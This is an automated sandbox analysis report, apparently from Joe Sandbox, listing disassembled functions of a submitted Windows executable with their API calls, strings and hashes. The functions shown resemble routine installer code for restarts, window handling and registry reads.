Instruction ID: 8b2991d2d1f953f99e0989ce018fc3471add5941c41498d69d44fc2df87f3202
Opcode Fuzzy Hash: 10bae26bf5f2a0ea0e044a5652ad93d77c5c1b14996636414ded1eee9e9c8fb2
Instruction Fuzzy Hash: A321A234A043499FDB04EBA4DC91EEEBBF6FF49304F64447AE500E7291DA799904C754

Function 0064FAA7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 005FA9A8: GetCurrentProcess.KERNEL32(00000028), ref: 005FA9B8
Part of subcall function 005FA9A8: OpenProcessToken.ADVAPI32(00000000,00000028), ref: 005FA9BE

SetForegroundWindow.USER32(?), ref: 0064FAE0

Strings

Restarting Windows., xrefs: 0064FAB7
Not restarting Windows because Uninstall is being run from the debugger., xrefs: 0064FB17

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Process$CurrentForegroundOpenTokenWindow
String ID: Not restarting Windows because Uninstall is being run from the debugger.$Restarting Windows.
API String ID: 3179053593-4147564754
Opcode ID: 6f7ce231d12e7b0590e1307c51da8fb0449973e99580584b367fabd86af75305
Instruction ID: d4bf9f36ef96bf7cd5cd4c99b625b6b1cd4e930e58df0cf614d5cda783460847
Opcode Fuzzy Hash: 6f7ce231d12e7b0590e1307c51da8fb0449973e99580584b367fabd86af75305
Instruction Fuzzy Hash: 341182346002449FEB04EB94E896FD837E6EB46304F5150BAF804AB3E2CB78AD41C716

Function 004085D8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00408632

Strings

lF, xrefs: 0040861B, 0040861E
lF, xrefs: 0040862A, 0040862D

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateThread
String ID: lF$lF
API String ID: 2422867632-1147170537
Opcode ID: 92e9bf36f33061f7ffdd7491b72976703523c6d92d1ec2ca90417502ef735539
Instruction ID: c79f99a2a18cb61d71feea710bf58fa565dd156bb3bf8665f6744fc7077f86ea
Opcode Fuzzy Hash: 92e9bf36f33061f7ffdd7491b72976703523c6d92d1ec2ca90417502ef735539
Instruction Fuzzy Hash: 33017171605214AFC750CF9D9980B8EB7ECDB58361F10443AF508E73C1DA75DD0087A8

Function 00412B68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00412BA7

Strings

TWindowDisabler-Window, xrefs: 00412BA5
B)[, xrefs: 00412B9D, 00412BA0

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateWindow
String ID: B)[$TWindowDisabler-Window
API String ID: 716092398-1377837600
Opcode ID: 684ecf370dcf3c6758cf9d82a20f104a3e22c221ceaad4062406452089a2450d
Instruction ID: d28f3a87fa927ce1738d04863a1b4a791b24e040aa09da8391ad3ec004184475
Opcode Fuzzy Hash: 684ecf370dcf3c6758cf9d82a20f104a3e22c221ceaad4062406452089a2450d
Instruction Fuzzy Hash: 74F074B2604118AF8B40DE9DDC81EDB77ECEB4D264B05412ABA08E3201D634ED118BA4

Function 004309F4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(2C), ref: 00430A04

Part of subcall function 00408B6C: SysReAllocStringLen.OLEAUT32(00000000,?,00000071), ref: 00408B86

Strings

WC, xrefs: 00430A42
2C, xrefs: 00430A00, 00430A24, 00430A57, 00430A03, 00430A27

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AllocInitStringVariant
String ID: 2C$WC
API String ID: 4010818693-495268985
Opcode ID: df370b3d9da647af4402dd277e6d6925b7b152161429339756cd47c20e76cd35
Instruction ID: 96bda85ea37abc6d5613da839bc8b5d910035a35706cb6c2dd4bd2584f76f0b9
Opcode Fuzzy Hash: df370b3d9da647af4402dd277e6d6925b7b152161429339756cd47c20e76cd35
Instruction Fuzzy Hash: F1F0A471700608AFD700EB99DC92E9FB3FCEB48700FA04176F500E3290DA78AE0486A9

Function 00643D50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0064413B,00000000,00644156,?,00000000,00000000,?,0064F4D6,00000006), ref: 00643DB2

Strings

RegisteredOwner, xrefs: 00643D8F
RegisteredOrganization, xrefs: 00643DA1

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: 301571e57bfd22d937d0251fdeb13fcc7fbfda80df1ff37fee867360dc904415
Instruction ID: 79ba88330415bd06f82effed11eda8edd571365fffeee20c77ff8264b35cb024
Opcode Fuzzy Hash: 301571e57bfd22d937d0251fdeb13fcc7fbfda80df1ff37fee867360dc904415
Instruction Fuzzy Hash: E9F0B470B04194AFDB10DAD4DD46BAA7BAFEF85344F241029E2409B391D6B0EF40CB55

Function 0065061C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 006449EC: FreeLibrary.KERNEL32(?,00650648,00000000,00650657,?,?,?,?,?,0065113B), ref: 00644A02

Part of subcall function 006446DC: GetTickCount.KERNEL32 ref: 00644724

Part of subcall function 00600808: SendMessageW.USER32(?,00000B01,00000000,00000000), ref: 00600827

GetCurrentProcess.KERNEL32(00000001,?,?,?,?,0065113B), ref: 00650671
TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,0065113B), ref: 00650677

Strings

Detected restart. Removing temporary directory., xrefs: 0065062B

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: 6f776ffacad2af89d35688e394897bf6e83705840bcb12dca368fa9c17a4540f
Instruction ID: 464bd2d836879dd3474a0288fef1e2a55e7a5b05e4adc84fe2957298e905eb94
Opcode Fuzzy Hash: 6f776ffacad2af89d35688e394897bf6e83705840bcb12dca368fa9c17a4540f
Instruction Fuzzy Hash: F1E0ABB52483402EF39137F6BC13A5B3F4EE7C7362F61043AFA0481441CC599864C138

Function 005B1C48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,?,00000004,006619DC,006006F2,00600B6C,00600610,?,00000B06,00000000,00000000), ref: 005B1C62

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Part of subcall function 005B1BAC: GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,?,005B1CA2,?,00000004,006619DC,006006F2,00600B6C,00600610,?,00000B06,00000000,00000000), ref: 005B1BC3

Strings

user32.dll, xrefs: 005B1C5D
ChangeWindowMessageFilterEx, xrefs: 005B1C58

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: ChangeWindowMessageFilterEx$user32.dll
API String ID: 1883125708-2676053874
Opcode ID: 6878c14f71f69b0723f96bc96d4fcaf4194bacb9fe624374ffc45413c8f78ab0
Instruction ID: 9df0a5d5a98339ba50c13b8e37e12c07401c504aaeadd98406a6411a3d2f2949
Opcode Fuzzy Hash: 6878c14f71f69b0723f96bc96d4fcaf4194bacb9fe624374ffc45413c8f78ab0
Instruction Fuzzy Hash: 6DF05C302B07109FD7416F659C44FD53EADFB44342F401924F504962A0C7F41C80C76C

Function 005B1CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 005B1D88: GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,?,005B1D06,?,?,?,0064F751,0000000A,00000002,00000001,00000031,00000000,0064F97F), ref: 005B1D96

GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonCreate,?,?,?,0064F751,0000000A,00000002,00000001,00000031,00000000,0064F97F,?,00000000,0064FA4C), ref: 005B1D10

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

ShutdownBlockReasonCreate, xrefs: 005B1D06
user32.dll, xrefs: 005B1D0B

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: ShutdownBlockReasonCreate$user32.dll
API String ID: 1883125708-2866557904
Opcode ID: e7dab807d206312efdb0421e04762fd5465d9bb62d82bfaba76103e697829b8c
Instruction ID: 40c05ee6389ba05014c80f0bb6a4273d02a3409cfaf78f9ef14993339606f823
Opcode Fuzzy Hash: e7dab807d206312efdb0421e04762fd5465d9bb62d82bfaba76103e697829b8c
Instruction Fuzzy Hash: 14E0C2633A1E512E538072FA2CA1CEF088C9DA6A5A3900C36F505E3152D948DC02017D

Function 005B09F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetSystemWow64DirectoryW,?,005F8CBC,00000000,005F8D8E,?,?,0066978C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B0A0A

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

kernel32.dll, xrefs: 005B0A05
GetSystemWow64DirectoryW, xrefs: 005B0A00

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 1646373207-1816364905
Opcode ID: c75330aa7c8c5df12c7e8eb959d8e15b84fad59c46a3f443c355cdc9ba688192
Instruction ID: 6e2db57afe9603e13bbcb28d8d27c56aba657c1237ebb3fd90a72f709f2b52c2
Opcode Fuzzy Hash: c75330aa7c8c5df12c7e8eb959d8e15b84fad59c46a3f443c355cdc9ba688192
Instruction Fuzzy Hash: AEE0266178070013DB00A2BA4D83EEF158A5B94700F105C3D7999D62D2EDBCE88082A2

Function 00586704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23windowCOMMON

Download Yara Rule

APIs

CreatePopupMenu.USER32(?,00586606,?,?,00000000,?,00586587,?,0058BE31,0059C47C), ref: 00586722
CreateMenu.USER32 ref: 0058672F

Strings

HOX, xrefs: 00586713

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateMenu$Popup
String ID: HOX
API String ID: 257293969-2476314470
Opcode ID: 3fef10723f1ca8ff26ecb47d99a67e8efce527985917f034024353e37165076f
Instruction ID: 16515f4fc79d7f94603b2a7c1aa1a4c0f70e6e138b00580e915dac0b9c35f144
Opcode Fuzzy Hash: 3fef10723f1ca8ff26ecb47d99a67e8efce527985917f034024353e37165076f
Instruction Fuzzy Hash: F5F0C930604201CFDB00BF66D5C9B887B92BB55308F8454B9AC45AF25BD77488448FB1

Function 005B1BAC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,?,005B1CA2,?,00000004,006619DC,006006F2,00600B6C,00600610,?,00000B06,00000000,00000000), ref: 005B1BC3

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

user32.dll, xrefs: 005B1BBE
ChangeWindowMessageFilter, xrefs: 005B1BB9

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 1646373207-2498399450
Opcode ID: 32f4064eec838c34c8f47ef9a1994eb5c6ace0f1976ee1f6d02c9e7c94af625d
Instruction ID: 8c40f62a632f2fa97ec710fedad9e0295ca43648f38e841b9d187b64430073cf
Opcode Fuzzy Hash: 32f4064eec838c34c8f47ef9a1994eb5c6ace0f1976ee1f6d02c9e7c94af625d
Instruction Fuzzy Hash: 5DE09A75220700DFD781AF64AC88FDA3FE9F708B01F002819F544921A0D6F818C0CA28

Function 005B1D88 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,?,005B1D06,?,?,?,0064F751,0000000A,00000002,00000001,00000031,00000000,0064F97F), ref: 005B1D96

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

user32.dll, xrefs: 005B1D91
ShutdownBlockReasonDestroy, xrefs: 005B1D8C

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ShutdownBlockReasonDestroy$user32.dll
API String ID: 1646373207-260599015
Opcode ID: 2d118afa1acb73877a63b6e6f87aa342629fa191858680dbd20951d3b7f32472
Instruction ID: cfd2a97203f557c8c57e6b3927d22065e7e78818251efbac2aa6542449ac9364
Opcode Fuzzy Hash: 2d118afa1acb73877a63b6e6f87aa342629fa191858680dbd20951d3b7f32472
Instruction Fuzzy Hash: 23D0A763351F222E179022F51EE1CEB068C9D242963440136FA00D2100D544DC4012AC

Function 00651170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 9COMMON

